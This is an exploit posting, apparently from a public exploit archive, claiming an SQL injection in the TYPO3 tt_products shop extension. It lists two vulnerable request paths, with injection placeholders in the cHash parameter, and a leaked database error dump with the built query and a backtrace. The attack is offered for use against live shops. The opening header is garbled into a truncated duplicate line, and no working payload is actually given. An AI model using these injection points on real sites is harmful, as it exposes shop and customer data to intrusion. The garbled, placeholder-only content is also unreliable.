##############################################################################################

# Exploit Title : Typo3 CMS Shop System tt_products 2.9.4 SQL Injection
# Author [ Di ##############################################################################################

# Exploit Title : Typo3 CMS Shop System tt_products 2.9.4 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/02/2019
# Vendor Homepage : ttproducts.de ~ jambage.com ~ typo3.org
# Software Download Links :
extensions.typo3.org/extension/download/tt_products/2.9.4/zip/
extensions.typo3.org/extension/download/tt_products/2.6.9/zip/
# Software Information Link : extensions.typo3.org/extension/tt_products/
# Software Affected Versions : From 2.6.9 to 2.9.4 / All Versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

##############################################################################################

# Description about Software :
***************************
New versions at ttproducts.de. Documented in E-Book "Der TYPO3-Webshop" -

Shop with listing in multiple languages, with order tracking, photo gallery, DAM,

product variants, credit card payment and bank accounts, bill, creditpoint,

voucher system and gift certificates. Latest updates at ttproducts.de.

##############################################################################################

# Impact :
***********
Typo3 Shop System tt_products 2.9.4 [ and other versions ]

extension for TYPO3 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize

user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,

access or modify data, or exploit latent vulnerabilities in the underlying database.

A remote attacker can send a specially crafted request to the vulnerable application

and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

##############################################################################################

# SQL Injection Exploit :
**********************

/index.php?id=[ID-NUMBER]&L=[ID-NUMBER]&tt_products%5BbackPID%5D=[ID-NUMBER]&tt_products%5Bproduct%5D=[ID-NUMBER]&cHash=[SQL Injection]

/shop.html?tt_products%5Barea%5D=energi&tt_products%5Bbegin_at%5D=[ID-NUMBER]&cHash=[SQL Injection]

##############################################################################################

# Example SQL Database Error :
****************************

exec_SELECTquery
---------------------------

caller
*******

TYPO3CMSCoreDatabaseDatabaseConnection::exec_SELECTquery

ERROR
*********

Unknown column 'textslang.t3ver_label' in 'field list'

lastBuiltQuery
************
SELECT texts.uid uid,textslang.pid pid,textslang.tstamp tstamp,
textslang.crdate crdate,textslang.deleted deleted,textslang.t3ver_label t3ver_label,
textslang.sorting sorting,textslang.hidden hidden,textslang.starttime starttime,textslang
.endtime endtime,textslang.fe_group fe_group,textslang.title title,texts.marker marker,
textslang.note note,texts.parentid parentid,texts.parenttable parenttable,textslang.
sys_language_uid sys_language_uid,textslang.text_uid text_uid FROM tt_products_
texts texts,tt_products_texts_language textslang WHERE texts.uid = textslang.text_
uid AND 1=1 AND(texts.parentid = 672 AND texts.parenttable='tt_products' AND
texts.marker IN('ZUSATZ'))AND textslang.deleted=0 AND textslang.hidden=0
AND(textslang.starttime<=1550505837)AND(textslang.endtime=0 OR textslang.
endtime>1550505837)AND textslang.fe_group IN(' ',0,-1)
AND textslang.sys_language_uid=1

SELECT uid_local FROM tt_products_tx_onextttproductsarea_coursecat_mm WHERE uid_foreign = energi

debug_backtrace
***************

require(typo3/sysext/cms/tslib/index_ts.php),index.php#28
// TYPO3CMSFrontendControllerTypoScriptFrontendController->INTincScript#232
// TYPO3CMSFrontendControllerTypoScriptFrontendController->
recursivelyReplaceIntPlaceholdersInContent#3646 // TYPO3CMSFrontend
ControllerTypoScriptFrontendController->INTincScript_process#3679
// TYPO3CMSFrontendContentObjectContentObjectRenderer->USER#3731
// TYPO3CMSFrontendContentObjectUserContentObject->render#862
// TYPO3CMSFrontendContentObjectContentObjectRenderer->callUserFunction#41
// call_user_func_array#6663 // tx_ttproducts_pi1_base->main#
// tx_ttproducts_main->run#72 // tx_ttproducts_main->products_display#588
// tx_ttproducts_single_view->printView#1053 // tx_ttproducts_text->getChildUidArray#328
// tx_ttproducts_table_base->get#118 // tx_table_db->exec_SELECTquery#185
// TYPO3CMSCoreDatabaseDatabaseConnection->exec_SELECTquery#1471
// TYPO3CMSCoreDatabaseDatabaseConnection->debug#305

##############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

##############################################################################################